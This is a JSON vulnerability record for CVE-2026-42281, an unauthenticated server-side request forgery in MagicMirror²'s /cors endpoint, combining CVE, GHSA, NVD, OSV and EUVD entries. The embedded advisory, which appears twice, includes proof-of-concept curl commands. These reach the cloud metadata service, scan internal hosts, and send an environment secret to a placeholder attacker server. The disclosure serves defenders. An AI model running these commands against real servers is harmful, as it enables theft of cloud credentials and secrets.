{"id":"CVE-2026-42281","aliases":["EUVD-2026-30313","GHSA-ph6f-2cvq-79hq"],"status":"published","title":"MagicMirror²: Unauthenticated SSRF via /cors endpoint","description":"MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.","severity":{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01623,"percentile":0.76435,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-918"],"published":"2026-05-05T20:53:59Z","modified":"2026-10-28T02:30:28Z","exploits":[{"source":"nuclei","id":"CVE-2026-42281","title":"MagicMirror \u003c= 2.35.0 - Server-Side Request Forgery","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-42281.yaml"},{"source":"pocgithub","id":"Astaruf/CVE-2026-42281","title":"Astaruf/CVE-2026-42281","date":"2026-04-30","url":"https://github.com/Astaruf/CVE-2026-42281"}],"fixes":[{"ecosystem":"npm","package":"magicmirror","fixed_in":["2.36.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"magicmirror","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.35.0"},{"fixed":"2.36.0"}]}]},{"source":"osv","ecosystem":"npm","package":"magicmirror","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.36.0"}]}]}],"products":[{"vendor":"magicmirror","product":"magicmirror"},{"vendor":"magicmirrororg","product":"magicmirror"}],"references":[{"url":"https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-ph6f-2cvq-79hq","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.36.0","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42281","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-ph6f-2cvq-79hq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42281.json","tags":["advisory"]},{"url":"https://github.com/MagicMirrorOrg/MagicMirror","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42281","title":"MagicMirror²: Unauthenticated SSRF via /cors endpoint","description":"MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.","status":"published","published":"2026-05-14T15:46:41.076Z","modified":"2026-05-14T19:51:14.186Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:40:23.731501Z"}],"euvd":[{"id":"EUVD-2026-30313","description":"MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.","status":"published","published":"2026-05-14T15:46:41Z","modified":"2026-05-14T19:51:14Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T19:04:30.595644Z"}],"ghsa":[{"id":"GHSA-ph6f-2cvq-79hq","title":"MagicMirror vulnerable to unauthenticated SSRF via /cors endpoint","description":"### Summary\n\nAn unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the `/cors` endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (`**VAR_NAME**`), enabling exfiltration of server-side secrets.\n\n### Details\n\nThe `/cors` endpoint in `js/server_functions.js` (function `cors()`, lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via `fetch()` and the full response is returned to the caller.\n\nAdditionally, the `replaceSecretPlaceholder()` function (lines 21-25) expands any `**VARIABLE_NAME**` pattern in the URL with the corresponding `process.env` value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).\n\n**Vulnerable code path:**\n\n```\nGET /cors?url=\u003cattacker-controlled-url\u003e\n  → replaceSecretPlaceholder(url)     // expands **ENV_VAR** → process.env.ENV_VAR\n  → fetch(url)                        // no validation, no blocklist\n  → response returned to attacker     // full body, status, headers\n```\n\n**Key issues:**\n- No authentication required\n- No URL validation or blocklist for private/reserved IP ranges\n- No restriction on URL scheme or destination\n- Environment variable expansion in URL before fetch\n\n### PoC\n\n**Prerequisites:** a running MagicMirror² instance accessible on the network (default: `http://\u003chost\u003e:8080`).\n\n**1. Basic SSRF — access cloud metadata (AWS IMDSv1):**\n\n```\ncurl \"http://\u003ctarget\u003e:8080/cors?url=http://169.254.169.254/latest/meta-data/\"\n```\n\nIf the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.\n\n**2. Internal network scanning:**\n\n```\ncurl \"http://\u003ctarget\u003e:8080/cors?url=http://192.168.1.1/\"\ncurl \"http://\u003ctarget\u003e:8080/cors?url=http://127.0.0.1:3000/\"\n```\n\nThe attacker can probe internal services by observing response status codes and timing.\n\n**3. Environment variable exfiltration:**\n\n```\ncurl \"http://\u003ctarget\u003e:8080/cors?url=http://\u003cattacker-server\u003e/?leak=**SECRET_API_KEY**\"\n```\n\nThe server expands `**SECRET_API_KEY**` to the value of `process.env.SECRET_API_KEY` before making the request, sending the secret to the attacker-controlled server as a query parameter.\n\n### Impact\n\n- **Cloud deployments (AWS/GCP/Azure):** full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account\n- **Internal network access:** the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker\n- **Secret exfiltration:** environment variables containing API keys, database credentials, or other sensitive configuration are directly readable\n- **Affected users:** anyone running MagicMirror² exposed to an untrusted network (including LAN). The `/cors` endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability","status":"published","published":"2026-05-05T20:53:59Z","modified":"2026-06-08T23:14:14Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"critical"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:20.187636Z"}],"nvd":[{"id":"CVE-2026-42281","description":"MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.","status":"published","published":"2026-05-14T16:16:21.2Z","modified":"2026-10-26T14:10:00.13Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-42281","title":"MagicMirror²: Unauthenticated SSRF via /cors endpoint","description":"MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.","status":"published","published":"2026-05-14T15:46:41.076Z","modified":"2026-10-28T02:30:28.568913261Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"critical"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"GHSA-ph6f-2cvq-79hq","title":"MagicMirror vulnerable to unauthenticated SSRF via /cors endpoint","description":"### Summary\n\nAn unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the `/cors` endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (`**VAR_NAME**`), enabling exfiltration of server-side secrets.\n\n### Details\n\nThe `/cors` endpoint in `js/server_functions.js` (function `cors()`, lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via `fetch()` and the full response is returned to the caller.\n\nAdditionally, the `replaceSecretPlaceholder()` function (lines 21-25) expands any `**VARIABLE_NAME**` pattern in the URL with the corresponding `process.env` value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).\n\n**Vulnerable code path:**\n\n```\nGET /cors?url=\u003cattacker-controlled-url\u003e\n  → replaceSecretPlaceholder(url)     // expands **ENV_VAR** → process.env.ENV_VAR\n  → fetch(url)                        // no validation, no blocklist\n  → response returned to attacker     // full body, status, headers\n```\n\n**Key issues:**\n- No authentication required\n- No URL validation or blocklist for private/reserved IP ranges\n- No restriction on URL scheme or destination\n- Environment variable expansion in URL before fetch\n\n### PoC\n\n**Prerequisites:** a running MagicMirror² instance accessible on the network (default: `http://\u003chost\u003e:8080`).\n\n**1. Basic SSRF — access cloud metadata (AWS IMDSv1):**\n\n```\ncurl \"http://\u003ctarget\u003e:8080/cors?url=http://169.254.169.254/latest/meta-data/\"\n```\n\nIf the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.\n\n**2. Internal network scanning:**\n\n```\ncurl \"http://\u003ctarget\u003e:8080/cors?url=http://192.168.1.1/\"\ncurl \"http://\u003ctarget\u003e:8080/cors?url=http://127.0.0.1:3000/\"\n```\n\nThe attacker can probe internal services by observing response status codes and timing.\n\n**3. Environment variable exfiltration:**\n\n```\ncurl \"http://\u003ctarget\u003e:8080/cors?url=http://\u003cattacker-server\u003e/?leak=**SECRET_API_KEY**\"\n```\n\nThe server expands `**SECRET_API_KEY**` to the value of `process.env.SECRET_API_KEY` before making the request, sending the secret to the attacker-controlled server as a query parameter.\n\n### Impact\n\n- **Cloud deployments (AWS/GCP/Azure):** full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account\n- **Internal network access:** the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker\n- **Secret exfiltration:** environment variables containing API keys, database credentials, or other sensitive configuration are directly readable\n- **Affected users:** anyone running MagicMirror² exposed to an untrusted network (including LAN). The `/cors` endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability","status":"published","published":"2026-05-05T20:53:59Z","modified":"2026-06-08T23:30:17.620593401Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"critical"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:53.244788Z"}]}}